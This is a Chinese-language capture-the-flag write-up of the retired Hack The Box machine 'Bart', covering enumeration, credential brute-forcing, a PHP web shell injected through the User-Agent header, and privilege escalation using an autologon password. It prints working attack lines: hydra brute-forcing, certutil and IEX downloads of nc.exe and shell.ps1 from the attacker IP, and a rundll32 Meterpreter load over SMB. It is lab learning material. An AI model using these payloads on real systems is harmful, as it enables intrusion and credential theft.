概述 (Overview)
HOST: 10.10.10.81
OS: Windows
发布时间: 2018-2-28
完成时间: 2021-10-27
机器作者: mrh4sh
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #PowerShell #Fuzzing #ArbitraryFileWrite #SourceCodeReview #横向渗透
攻击链 (Kiillchain)
使用 Nmap 枚举目标服务器开放端口时发现仅存在80端口,使用子域名枚举发现存在 monitor.bart.htb 子站,对 forum.bart.htb 的信息进行收集构建枚举字典,通过字典碰撞成功登陆系统后台并找到新的 internal-01.bart.htb 站点。
测试 internal-01 站点功能,利用任意账号注册成功进入系统,通过查看页面源代码发现函数执行漏洞,并利用该漏洞拿到目标服务器的立足点。
在对服务器信息收集时发现 Administrator 用户注册表凭证,最终结合 PowerShell 完成权限提升。
枚举(Enumeration)
常规使用 Nmap 对目标服务器进行开放端口扫描:
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-favicon: Unknown favicon MD5: 50465238F8A85D0732CBCC8EB04920AA | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to http://forum.bart.htb/ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
从扫描结果中可以得知,目标服务器是 Windows 系统仅对外暴漏了一个 80 端口(HTTP 服务),看来后面的突破口就是Web应用了。
Port 80 - WordPress
简单的请求 HTTP 服务,返回 302 页面重定向至 forum.bart.htb
域名,并且可以看到 php 7.17 的版本指纹。
http 10.10.10.81 HTTP/1.1 302 Found Content-Length: 0 Content-Type: text/html; charset=UTF-8 Date: Tue, 26 Oct 2021 13:07:15 GMT Location: http://forum.bart.htb/ Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.1.7
浏览器访问绑定的域名后,可以看到 Web 应用的指纹信息是 Proudly powered by WordPress。随后请求了 /wp-admin
路径,验证下是否真实发现存在服务错误。
怀疑目录枚举可能不会有收获,改为使用 gobuster 工具的 vhost 功能枚举子域名:
成功枚举出一个新的域名 monitor.bart.htb,访问后发现新的 Web 应用 Monitor v3.2.1。
Port 80 - Monitor
PHP Server Monitor : 用于监控您的服务器和网站的开源工具。https://github.com/phpservermon/phpservermon
至此并不知道该系统的登录口令,对两个站点分别进行目录枚举后都没有取得什么进展,怀疑是存在弱口令登录或者密码复用、枚举等。观察到在 forum.bart.htb 网站上存在多个邮箱地址, 这些可能是用于登录用户的名称,可以通过 bash 语句将这类信息爬取下来。
观察页面上的显示内容,可以得到更多信息帮助我们进行梳理。
Name | Remark | |
---|---|---|
d.Lamborghini@bart.htb | Daniella Lamborghini | |
s.brown@bart.local | Samantha Brown | CEO@BART |
d.simmons@bart.htb | Daniel Simmons | Head of Sales |
r.hilton@bart.htb | Robert Hilton | Head of IT |
h.potter@bart.htb | Harvey Potter | Developer@BART |
构造好基于邮箱、名称的 Fuzz 字典后,通过 monitor.bart.htb 站点下的找回密码功能验证用户是否存在。
枚举后发现 harvey 用户是存在的,继续对密码进行枚举:
很快得到了该用户的密码为potter,使用这组密码成功登录管理后台。
对后台的功能进行了简单预览,得到一个新的站点地址 internal-01.bart.htb。
Port 80 - internal
浏览器访问后自动跳转到登录页,看来又要进行口令枚举了。
利用 cewl 工具生成 password 字典,在用 hydra 工具进行登录表单枚举:
hydra -l harvey -P `pwd`/cewl-forum.txt internal-01.bart.htb http-post-form "/simple_chat/login.php:uname=^USER^&passwd=^PASS^&submit=Login:F=Invalid Username or Password"
在登录表单枚举的同时对目录进行枚举,发现 /register.php 页面的访问会跳转至 /register_form.php,浏览器访问页面提示功能错误。
从页面的 title 得知这是一个 dev 状态的网站,那么有没有可能注册功能已经开发好了?这种在开发、测试类站点中还挺常见的,尝试 POST 提交注册信息:
返回的内容与 GET 跳转存在差异,Location 重定向至首页并增加了会话 Cookie,说明存在任意用户注册漏洞。
登陆后会进入一个聊天界面:
立足点(Foothold)
查看页面源代码,可以看到一段可疑的 URL,随后进行尝试任意文件读取、加载的漏洞。
直接访问这个 URL 会得到一个字符串返回,当尝试改变 filename 参数后会提示 file_put_contents 函数错误,并且在返回的信息中会看到追加了一些访问日志记录。
推测调用该脚本会执行文件写入,每访问一次该 URL 将增加一段内容:
观察到会记录用户的 UserAgent 信息,假设PHP脚本存在加载外部 UserAgent 参数,那么将会引发PHP函数执行漏洞进一步造成RCE。
测试下,增加 phpinfo 函数至 UserAgent 验证是否存在函数执行:
成功执行了外部可控的 PHP 函数,进行下一个步骤。避免数据污染我重启了一次 Box,随后将 WebShell 写入至脚本:
http 'http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey' User-Agent:'<?php echo system($_POST["cmd"]); ?>'
最后通过 WebShell 运行系统命令,将 NC 传递至目标服务器,用它成功反弹完整会话shell。
certutil -urlcache -f http://10.10.17.64/nc.exe nc.exe
权限提升(Privilege Escalation)
开始进一步收集信息,在 Web 站点目录中可以得到 Mysql 数据库连接凭证:
$con = @mysqli_connect('localhost', 'harvey', '!IC4nB3Th3B3st?', 'internal_chat');
随后使用该凭证进行命令行下的 Mysql 查询,能在 user 表中得到多个用户hash,但都解不了明文。 在 \monitor\config.php 文件中同样找到一组新的凭证。
<?php
define('PSM_DB_HOST', 'localhost');
define('PSM_DB_PORT', '3306');
define('PSM_DB_NAME', 'sysmon');
define('PSM_DB_USER', 'daniel');
define('PSM_DB_PASS', '?St4r1ng1sCr33py?');
define('PSM_DB_PREFIX', '_');
define('PSM_BASE_URL', 'http://monitor.bart.htb');
目前看来这些凭证对于提权都没什么帮助,将 Seatbelt 传递至服务器进行安全检查:
cmd> Seatbelt.exe all ...snip... === Registry Auto-logon Settings === DefaultDomainName : DESKTOP-7I3S68E DefaultUserName : Administrator DefaultPassword : 3130438f31186fbaf962f407711faddb
从结果中得到当前机器的 Administrator 用户自动登录凭证,查询注册表的语句为:
REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64
接下来就比较简单了,只需要使用 PowerShell 以 Administrator 用户执行命令进行反弹 shell 就可以完成提权了。
PS > $DefaultUsername = "BART\Administrator"
PS > $DefaultPassword = "3130438f31186fbaf962f407711faddb"
PS > $secstr = New-Object -TypeName System.Security.SecureString
PS > $DefaultPassword.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS > $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $DefaultUsername, $secstr
PS > Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.17.64/shell.ps1') } -Credential $cred -Computer localhost
成功完成权限提升。
复盘
在查看 0xdf 的文章时,看到它使用了 SMB 文件夹挂载方法,快速获得 root flag 内容。 不得不说真的牛批,基础知识真的牢固,在我还在死磕 PowerShell 反弹 shell 的时候人家就已经拿到 flag 了。
net use x: \\localhost\c$ /user:administrator 3130438f31186fbaf962f407711faddb
在进行权限提升时,我使用的是运行外部 Reverse Shell 脚本进行上线,而 0xdf 使用 Enter-PSSession 直接在当前 shell 窗口中启动交互式会话。
C:\Users\Public>powershell
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\Public> $username = 'BART\Administrator'
PS C:\Users\Public> $securePassword = ConvertTo-SecureString -AsPlainText -Force '3130438f31186fbaf962f407711faddb'
PS C:\Users\Public> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
PS C:\Users\Public> Enter-PSSession -ComputerName localhost -Credential $credential
[localhost]: PS C:\Users\Administrator\Documents> whoami
whoami
bart\administrator
[localhost]: PS C:\Users\Administrator\Documents> cmd.exe /c "rundll32.exe \\10.10.14.20\BLAH\64443.dll,0"
cmd.exe /c "rundll32.exe \\10.10.14.20\BLAH\64443.dll,0"
[*] Sending stage (206403 bytes) to 10.10.10.81
[*] Meterpreter session 7 opened (10.10.14.20:4444 -> 10.10.10.81:55494) at 2019-07-22 21:43:56 -0400
在服务器上执行远程脚本的时候一般可以使用Invoke-Command,但是如果连续执行脚本,并且想在执行过程中保持上下文信息,也就是说交互式的执行远程命令,就得用到另外一个命令 Enter-PSSession。
又学到一个新姿势,Nice。